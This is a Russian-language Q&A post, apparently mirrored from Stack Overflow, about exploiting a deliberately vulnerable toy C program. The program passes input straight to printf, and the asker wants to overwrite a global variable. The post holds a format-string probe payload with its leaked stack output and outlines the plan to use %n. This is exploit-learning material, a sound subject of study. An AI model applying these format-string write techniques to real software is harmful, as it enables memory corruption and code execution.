Уязвимость форматирования строки - невозможно прочитать адрес из стандартного ввода с помощью read () в C - PullRequest
0 голосов
/ 15 марта 2019

Я хотел использовать этот код, используя уязвимость строки формата:

int jackpot;

void fmt_str(void)
{
    char buf[128];
    puts("Give me a string to print");
    read(0, buf, 128);
    printf(buf);

    printf("jackpot @ %p = %d [0x%08x]\n", &jackpot, jackpot, jackpot);
    if (jackpot == 0x1337)
        puts("You won!");
    else
        puts("You lost :(");

}

int main(void)
{
    srand(time(0));
    setbuf(stdout, 0);

    jackpot = rand();
    fmt_str();
    return 0;
}

Идея состоит в том, чтобы использовать уязвимость строки формата, чтобы получить «Вы выиграли!».Используя objdump, я обнаружил, что адрес глобальной переменной jackpot равен 0x0804a04c.Поскольку я не могу использовать скрипт Python для ввода своей строки в argc, я попытался сделать это (работая над gdb):

Give me a string to print
AAAAAAAAAAAAAAAA '\x4c\xa0\x04\x08' BBBBBBBBBBBBBBB %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

, и это то, что я получил с print(buf)

AAAAAAAAAAAAAAAA '\x4c\xa0\x04\x08' BBBBBBBBBBBBBBB bffff280 80 0
41414141 41414141 41414141 41414141 785c2720 785c6334 785c3061
785c3430 20273830 42424242 42424242 42424242 20424242 25207825
78252078 20782520 25207825 78252078 20782520 25207825 78252078
20782520

По сути, я намерен иметь адрес jackpot между 41 и 42, чтобы я мог лучше найти его в напечатанной строке и выполнить атаку, изменив %x на %n.Проблема в том, что при таком способе чтения ввода я не могу записать целевой адрес в строке, поэтому я не могу выполнить атаку.Что ты предлагаешь?Программа компилируется с помощью исполняемого стека, с -fno-stack-protection и с отключенным ASLR.

...